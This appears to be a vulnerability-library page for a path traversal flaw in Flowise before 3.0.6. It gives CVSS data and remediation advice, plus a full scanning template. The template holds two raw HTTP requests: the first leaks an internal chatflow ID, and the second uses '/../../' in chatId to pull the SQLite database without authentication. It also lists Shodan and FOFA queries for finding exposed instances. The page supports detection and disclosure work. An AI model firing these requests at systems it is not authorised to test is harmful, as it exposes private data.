/Vulnerability Library

Flowise - Path Traversal

CVE-2025-71324
Early Release

Description

Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.

Severity

High

CVSS Score

7.5

Exploit Probability

1%

Affected Product

Flowise

Published Date

August 4, 2026

Template Author

theamanrawat, pdteam

CVE-2025-71324.yaml
id: CVE-2025-71324

info:
  name: Flowise - Path Traversal
  author: theamanrawat,pdteam
  severity: high
  description: |
    Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.
  impact: |
    Unauthenticated attackers can read sensitive files, exposing database content and potentially compromising system confidentiality.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71324
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-71324
    epss-score: 0.01379
    epss-percentile: 0.69503
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: FlowiseAI
    product: Flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/vector/upsert/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="files"; filename="?"
        Content-Type: text/plain

        test
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: word
        part: body
        words:
          - "EISDIR"
          - ".flowise/storage"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: chatflowId
        part: body
        internal: true
        group: 1
        regex:
          - 'storage/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})'

  - raw:
      - |
        GET /api/v1/get-upload-file?chatflowId={{chatflowId}}&chatId=/../../&fileName=database.sqlite HTTP/1.1
        Host: {{Hostname}}
        x-request-from: internal

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQLite format 3"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205ce85edb3c6472055dbf39de0a1c7e4e1b2ba62c09978e5399533eafe743ca1c02210087fb0426cee0c0655aca83a51d1749303c05691038b28c96c39adcbc2d7890ac:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-71324
CWE ID:
cwe-73

References

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gfhttps://nvd.nist.gov/vuln/detail/CVE-2025-71324

Remediation Steps

Update to version 3.0.6 or later.